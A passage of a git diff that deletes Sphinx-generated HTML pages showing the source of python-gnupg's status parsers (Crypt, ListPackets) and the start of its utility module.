occurred.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="bp">None</span> - <span class="bp">self</span><span class="o">.</span><span class="n">data_format</span> <span class="o">=</span> <span class="bp">None</span> - <span class="bp">self</span><span class="o">.</span><span class="n">data_timestamp</span> <span class="o">=</span> <span class="bp">None</span> - <span class="bp">self</span><span class="o">.</span><span class="n">data_filename</span> <span class="o">=</span> <span class="bp">None</span> - - <span class="k">def</span> <span class="nf">__nonzero__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">ok</span><span class="p">:</span> <span class="k">return</span> <span class="bp">True</span> - <span class="k">return</span> <span class="bp">False</span> - <span class="n">__bool__</span> <span class="o">=</span> <span class="n">__nonzero__</span> - - <span class="k">def</span> <span class="nf">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""The str() method for a :class:`Crypt` object will automatically return the</span> -<span class="sd"> decoded data string, which stores the encryped or decrypted data.</span> - -<span class="sd"> In other words, these two statements are equivalent:</span> - -<span class="sd"> >>> assert decrypted.data == str(decrypted)</span> - -<span class="sd"> """</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">data</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span><span class="o">.</span><span class="n">_encoding</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span><span class="o">.</span><span class="n">_decode_errors</span><span class="p">)</span> - -<div class="viewcode-block" id="Crypt._handle_status"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.Crypt._handle_status">[docs]</a> <span class="k">def</span> <span class="nf">_handle_status</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="sd">"""Parse a status code from the attached GnuPG process.</span> - -<span class="sd"> :raises: :exc:`~exceptions.ValueError` if the status message is unknown.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">key</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"ENC_TO"</span><span class="p">,</span> <span class="s">"USERID_HINT"</span><span class="p">,</span> <span class="s">"GOODMDC"</span><span class="p">,</span> <span class="s">"END_DECRYPTION"</span><span class="p">,</span> - <span class="s">"BEGIN_SIGNING"</span><span class="p">,</span> <span class="s">"NO_SECKEY"</span><span class="p">,</span> <span class="s">"ERROR"</span><span class="p">,</span> <span class="s">"NODATA"</span><span class="p">,</span> - <span class="s">"CARDCTRL"</span><span class="p">):</span> - <span class="c"># in the case of ERROR, this is because a more specific error</span> - <span class="c"># message will have come first</span> - <span class="k">pass</span> - <span class="k">elif</span> <span class="n">key</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"NEED_PASSPHRASE"</span><span class="p">,</span> <span class="s">"BAD_PASSPHRASE"</span><span class="p">,</span> <span class="s">"GOOD_PASSPHRASE"</span><span class="p">,</span> - <span class="s">"MISSING_PASSPHRASE"</span><span class="p">,</span> <span class="s">"DECRYPTION_FAILED"</span><span class="p">,</span> - <span class="s">"KEY_NOT_CREATED"</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="n">key</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">"_"</span><span class="p">,</span> <span class="s">" "</span><span class="p">)</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"NEED_TRUSTDB"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span><span class="o">.</span><span class="n">_create_trustdb</span><span class="p">()</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"NEED_PASSPHRASE_SYM"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'need symmetric passphrase'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"BEGIN_DECRYPTION"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'decryption incomplete'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"BEGIN_ENCRYPTION"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'encryption incomplete'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"DECRYPTION_OKAY"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'decryption ok'</span> - <span class="bp">self</span><span class="o">.</span><span class="n">ok</span> <span class="o">=</span> <span class="bp">True</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"END_ENCRYPTION"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'encryption ok'</span> - <span class="bp">self</span><span class="o">.</span><span class="n">ok</span> <span class="o">=</span> <span class="bp">True</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"INV_RECP"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'invalid recipient'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"KEYEXPIRED"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'key expired'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"KEYREVOKED"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'key revoked'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"SIG_CREATED"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'sig created'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"SIGEXPIRED"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'sig expired'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"PLAINTEXT"</span><span class="p">:</span> - <span class="n">fmt</span><span class="p">,</span> <span class="n">dts</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> - <span class="k">if</span> <span class="n">dts</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">data_timestamp</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">data_filename</span> <span class="o">=</span> <span class="n">dts</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">data_timestamp</span> <span class="o">=</span> <span class="n">dts</span> - <span class="c">## GnuPG gives us a hex byte for an ascii char corresponding to</span> - <span class="c">## the data format of the resulting plaintext,</span> - <span class="c">## i.e. '62'→'b':= binary data</span> - <span class="bp">self</span><span class="o">.</span><span class="n">data_format</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">fmt</span><span class="p">),</span> <span class="mi">16</span><span class="p">))</span> - <span class="k">else</span><span class="p">:</span> - <span class="nb">super</span><span class="p">(</span><span class="n">Crypt</span><span class="p">,</span> <span class="bp">self</span><span class="p">)</span><span class="o">.</span><span class="n">_handle_status</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span> -</div></div> -<div class="viewcode-block" id="ListPackets"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ListPackets">[docs]</a><span class="k">class</span> <span class="nc">ListPackets</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span> - <span class="sd">"""Handle status messages for --list-packets."""</span> - - <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">gpg</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span> <span class="o">=</span> <span class="n">gpg</span> - <span class="c">#: A string describing the current processing status, or error, if one</span> - <span class="c">#: has occurred.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: True if the passphrase to a public/private keypair is required.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">need_passphrase</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: True if a passphrase for a symmetric key is required.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">need_passphrase_sym</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The keyid and uid which this data is encrypted to.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">userid_hint</span> <span class="o">=</span> <span class="bp">None</span> - -<div class="viewcode-block" id="ListPackets._handle_status"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ListPackets._handle_status">[docs]</a> <span class="k">def</span> <span class="nf">_handle_status</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="sd">"""Parse a status code from the attached GnuPG process.</span> - -<span class="sd"> :raises: :exc:`~exceptions.ValueError` if the status message is unknown.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">key</span> <span class="o">==</span> <span class="s">'NODATA'</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="n">nodata</span><span class="p">(</span><span class="n">value</span><span class="p">)</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">'ENC_TO'</span><span class="p">:</span> - <span class="c"># This will only capture keys in our keyring. In the future we</span> - <span class="c"># may want to include multiple unknown keys in this list.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">key</span><span class="p">,</span> <span class="n">_</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">'NEED_PASSPHRASE'</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">need_passphrase</span> <span class="o">=</span> <span class="bp">True</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">'NEED_PASSPHRASE_SYM'</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">need_passphrase_sym</span> <span class="o">=</span> <span class="bp">True</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">'USERID_HINT'</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">userid_hint</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="k">elif</span> <span class="n">key</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'NO_SECKEY'</span><span class="p">,</span> <span class="s">'BEGIN_DECRYPTION'</span><span class="p">,</span> <span class="s">'DECRYPTION_FAILED'</span><span class="p">,</span> - <span class="s">'END_DECRYPTION'</span><span class="p">):</span> - <span class="k">pass</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">"Unknown status message: </span><span class="si">%r</span><span class="s">"</span> <span class="o">%</span> <span class="n">key</span><span class="p">)</span></div></div> -</pre></div> - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul> -<li class="toctree-l1"><a class="reference internal" href="../../gnupg.html">gnupg package</a></li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="../../search.html" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="../../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../../genindex.html" title="General Index" - >index</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/_modules/gnupg/_util.html b/docs/_build/html/_modules/gnupg/_util.html deleted file mode 100644 index b6968c4..0000000 --- a/docs/_build/html/_modules/gnupg/_util.html +++ /dev/null @@ -1,718 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> - - <title>gnupg._util — gnupg unknown documentation</title> - - <link rel="stylesheet" href="../../_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="../../_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: '../../', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="../../_static/jquery.js"></script> - <script type="text/javascript" src="../../_static/underscore.js"></script> - <script type="text/javascript" src="../../_static/doctools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="../../index.html" /> - <link rel="up" title="gnupg" href="../gnupg.html" /> - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="../../index.html">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="../../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../../genindex.html" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - <h1>Source code for gnupg._util</h1><div class="highlight"><pre> -<span class="c"># -*- coding: utf-8 -*-</span> -<span class="c">#</span> -<span class="c"># This file is part of python-gnupg, a Python interface to GnuPG.</span> -<span class="c"># Copyright © 2013 Isis Lovecruft, <isis@leap.se> 0xA3ADB67A2CDB8B35</span> -<span class="c"># © 2013 Andrej B.</span> -<span class="c"># © 2013 LEAP Encryption Access Project</span> -<span class="c"># © 2008-2012 Vinay Sajip</span> -<span class="c"># © 2005 Steve Traugott</span> -<span class="c"># © 2004 A.M. Kuchling</span> -<span class="c">#</span> -<span class="c"># This program is free software: you can redistribute it and/or modify it</span> -<span class="c"># under the terms of the GNU General Public License as published by the Free</span> -<span class="c"># Software Foundation, either version 3 of the License, or (at your option)</span> -<span class="c"># any later version.</span> -<span class="c">#</span> -<span class="c"># This program is distributed in the hope that it will be useful, but WITHOUT</span> -<span class="c"># ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or</span> -<span class="c"># FITNESS FOR A PARTICULAR PURPOSE. See the included LICENSE file for details.</span> - -<span class="sd">'''Extra utilities for python-gnupg.'''</span> - -<span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">absolute_import</span> -<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span> -<span class="kn">from</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="n">gethostname</span> -<span class="kn">from</span> <span class="nn">time</span> <span class="kn">import</span> <span class="n">localtime</span> -<span class="kn">from</span> <span class="nn">time</span> <span class="kn">import</span> <span class="n">mktime</span> - -<span class="kn">import</span> <span class="nn">codecs</span> -<span class="kn">import</span> <span class="nn">encodings</span> -<span class="kn">import</span> <span class="nn">os</span> -<span class="kn">import</span> <span class="nn">psutil</span> -<span class="kn">import</span> <span class="nn">threading</span> -<span class="kn">import</span> <span class="nn">random</span> -<span class="kn">import</span> <span class="nn">re</span> -<span class="kn">import</span> <span class="nn">string</span> -<span class="kn">import</span> <span class="nn">sys</span> - -<span class="k">try</span><span class="p">:</span> - <span class="kn">from</span> <span class="nn">io</span> <span class="kn">import</span> <span class="n">StringIO</span> - <span class="kn">from</span> <span class="nn">io</span> <span class="kn">import</span> <span class="n">BytesIO</span> -<span class="k">except</span> <span class="ne">ImportError</span><span class="p">:</span> - <span class="kn">from</span> <span class="nn">cStringIO</span> <span class="kn">import</span> <span class="n">StringIO</span> - -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">_logger</span> - - -<span class="k">try</span><span class="p">:</span> - <span class="nb">unicode</span> - <span class="n">_py3k</span> <span class="o">=</span> <span class="bp">False</span> - <span class="k">try</span><span class="p">:</span> - <span class="nb">isinstance</span><span class="p">(</span><span class="n">__name__</span><span class="p">,</span> <span class="nb">basestring</span><span class="p">)</span> - <span class="k">except</span> <span class="ne">NameError</span><span class="p">:</span> - <span class="n">msg</span> <span class="o">=</span> <span class="s">"Sorry, python-gnupg requires a Python version with proper"</span> - <span class="n">msg</span> <span class="o">+=</span> <span class="s">" unicode support. Please upgrade to Python>=2.6."</span> - <span class="k">raise</span> <span class="ne">SystemExit</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span> -<span class="k">except</span> <span class="ne">NameError</span><span class="p">:</span> - <span class="n">_py3k</span> <span class="o">=</span> <span class="bp">True</span> - - -<span class="c">## Directory shortcuts:</span> -<span class="c">## we don't want to use this one because it writes to the install dir:</span> -<span class="c">#_here = getabsfile(currentframe()).rsplit(os.path.sep, 1)[0]</span> -<span class="n">_here</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">getcwd</span><span class="p">(),</span> <span class="s">'gnupg'</span><span class="p">)</span> <span class="c">## current dir</span> -<span class="n">_test</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">_here</span><span class="p">,</span> <span class="s">'test'</span><span class="p">),</span> <span class="s">'tmp'</span><span class="p">)</span> <span class="c">## ./tests/tmp</span> -<span class="n">_user</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">'HOME'</span><span class="p">)</span> <span class="c">## $HOME</span> -<span class="n">_ugpg</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">_user</span><span class="p">,</span> <span class="s">'.gnupg'</span><span class="p">)</span> <span class="c">## $HOME/.gnupg</span> -<span class="n">_conf</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">_user</span><span class="p">,</span> <span class="s">'.config'</span><span class="p">),</span> <span class="s">'python-gnupg'</span><span class="p">)</span> - <span class="c">## $HOME/.config/python-gnupg</span> - -<span class="c">## Logger is disabled by default</span> -<span class="n">log</span> <span class="o">=</span> <span class="n">_logger</span><span class="o">.</span><span class="n">create_logger</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> - - -<div class="viewcode-block" id="find_encodings"><a class="viewcode-back" href="../../gnupg.html#gnupg._util.find_encodings">[docs]</a><span class="k">def</span> <span class="nf">find_encodings</span><span class="p">(</span><span class="n">enc</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">system</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span> - <span class="sd">"""Find functions for encoding translations for a specific codec.</span> - -<span class="sd"> :param str enc: The codec to find translation functions for. It will be</span> -<span class="sd"> normalized by converting to lowercase, excluding</span> -<span class="sd"> everything which is not ascii, and hyphens will be</span> -<span class="sd"> converted to underscores.</span> - -<span class="sd"> :param bool system: If True, find encodings based on the system's stdin</span> -<span class="sd"> encoding, otherwise assume utf-8.</span> - -<span class="sd"> :raises: :exc:LookupError if the normalized codec, ``enc``, cannot be</span> -<span class="sd"> found in Python's encoding translation map.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="ow">not</span> <span class="n">enc</span><span class="p">:</span> - <span class="n">enc</span> <span class="o">=</span> <span class="s">'utf-8'</span> - - <span class="k">if</span> <span class="n">system</span><span class="p">:</span> - <span class="k">if</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">stdin</span><span class="p">,</span> <span class="s">'encoding'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> - <span class="n">enc</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">encoding</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Obtained encoding from stdin: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">enc</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">enc</span> <span class="o">=</span> <span class="s">'ascii'</span> - - <span class="c">## have to have lowercase to work, see</span> - <span class="c">## http://docs.python.org/dev/library/codecs.html#standard-encodings</span> - <span class="n">enc</span> <span class="o">=</span> <span class="n">enc</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span> - <span class="n">codec_alias</span> <span class="o">=</span> <span class="n">encodings</span><span class="o">.</span><span class="n">normalize_encoding</span><span class="p">(</span><span class="n">enc</span><span class="p">)</span> - - <span class="n">codecs</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="n">encodings</span><span class="o">.</span><span class="n">search_function</span><span class="p">)</span> - <span class="n">coder</span> <span class="o">=</span> <span class="n">codecs</span><span class="o">.</span><span class="n">lookup</span><span class="p">(</span><span class="n">codec_alias</span><span class="p">)</span> - - <span class="k">return</span> <span class="n">coder</span> -</div> -<div class="viewcode-block" id="author_info"><a class="viewcode-back" href="../../gnupg.html#gnupg._util.author_info">[docs]</a><span class="k">def</span> <span class="nf">author_info</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">contact</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">public_key</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Easy object-oriented representation of contributor info.</span> - -<span class="sd"> :param str name: The contributor´s name.</span> -<span class="sd"> :param str contact: The contributor´s email address or contact</span> -<span class="sd"> information, if given.</span> -<span class="sd"> :param str public_key: The contributor´s public keyid, if given.</span> -<span class="sd"> """</span> - <span class="k">return</span> <span class="n">Storage</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="n">name</span><span class="p">,</span> <span class="n">contact</span><span class="o">=</span><span class="n">contact</span><span class="p">,</span> <span class="n">public_key</span><span class="o">=</span><span class="n">public_key</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="_copy_data"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._copy_data">[docs]</a><span class="k">def</span> <span class="nf">_copy_data</span><span class="p">(</span><span class="n">instream</span><span class="p">,</span> <span class="n">outstream</span><span class="p">):</span> - <span class="sd">"""Copy data from one stream to another.</span> - -<span class="sd"> :type instream: :class:`io.BytesIO` or :class:`io.StringIO` or file</span> -<span class="sd"> :param instream: A byte stream or open file to read from.</span> -<span class="sd"> :param file outstream: The file descriptor of a tmpfile to write to.</span> -<span class="sd"> """</span> - <span class="n">sent</span> <span class="o">=</span> <span class="mi">0</span> - - <span class="n">coder</span> <span class="o">=</span> <span class="n">find_encodings</span><span class="p">()</span> - - <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> - <span class="k">if</span> <span class="p">((</span><span class="n">_py3k</span> <span class="ow">and</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">instream</span><span class="p">,</span> <span class="nb">str</span><span class="p">))</span> <span class="ow">or</span> - <span class="p">(</span><span class="ow">not</span> <span class="n">_py3k</span> <span class="ow">and</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">instream</span><span class="p">,</span> <span class="nb">basestring</span><span class="p">))):</span> - <span class="n">data</span> <span class="o">=</span> <span class="n">instream</span><span class="p">[:</span><span class="mi">1024</span><span class="p">]</span> - <span class="n">instream</span> <span class="o">=</span> <span class="n">instream</span><span class="p">[</span><span class="mi">1024</span><span class="p">:]</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">data</span> <span class="o">=</span> <span class="n">instream</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> - <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> - <span class="k">break</span> - <span class="n">sent</span> <span class="o">+=</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Sending chunk </span><span class="si">%d</span><span class="s"> bytes:</span><span class="se">\n</span><span class="si">%s</span><span class="s">"</span> - <span class="o">%</span> <span class="p">(</span><span class="n">sent</span><span class="p">,</span> <span class="n">data</span><span class="p">))</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">outstream</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> - <span class="k">except</span> <span class="ne">UnicodeError</span><span class="p">:</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">outstream</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">coder</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="n">data</span><span class="p">))</span> - <span class="k">except</span> <span class="ne">IOError</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">exception</span><span class="p">(</span><span class="s">"Error sending data: Broken pipe"</span><span class="p">)</span> - <span class="k">break</span> - <span class="k">except</span> <span class="ne">IOError</span> <span class="k">as</span> <span class="n">ioe</span><span class="p">:</span> - <span class="c"># Can get 'broken pipe' errors even when all data was sent</span> - <span class="k">if</span> <span class="s">'Broken pipe'</span> <span class="ow">in</span> <span class="nb">str</span><span class="p">(</span><span class="n">ioe</span><span class="p">):</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="s">'Error sending data: Broken pipe'</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">exception</span><span class="p">(</span><span class="n">ioe</span><span class="p">)</span> - <span class="k">break</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">outstream</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> - <span class="k">except</span> <span class="ne">IOError</span> <span class="k">as</span> <span class="n">ioe</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="s">"Unable to close outstream </span><span class="si">%s</span><span class="s">:</span><span class="se">\r\t</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">outstream</span><span class="p">,</span> <span class="n">ioe</span><span class="p">))</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Closed outstream: </span><span class="si">%d</span><span class="s"> bytes sent."</span> <span class="o">%</span> <span class="n">sent</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="_create_if_necessary"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._create_if_necessary">[docs]</a><span class="k">def</span> <span class="nf">_create_if_necessary</span><span class="p">(</span><span class="n">directory</span><span class="p">):</span> - <span class="sd">"""Create the specified directory, if necessary.</span> - -<span class="sd"> :param str directory: The directory to use.</span> -<span class="sd"> :rtype: bool</span> -<span class="sd"> :returns: True if no errors occurred and the directory was created or</span> -<span class="sd"> existed beforehand, False otherwise.</span> -<span class="sd"> """</span> - - <span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isabs</span><span class="p">(</span><span class="n">directory</span><span class="p">):</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got non-absolute path: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">directory</span><span class="p">)</span> - <span class="n">directory</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">abspath</span><span class="p">(</span><span class="n">directory</span><span class="p">)</span> - - <span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isdir</span><span class="p">(</span><span class="n">directory</span><span class="p">):</span> - <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Creating directory: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">directory</span><span class="p">)</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">os</span><span 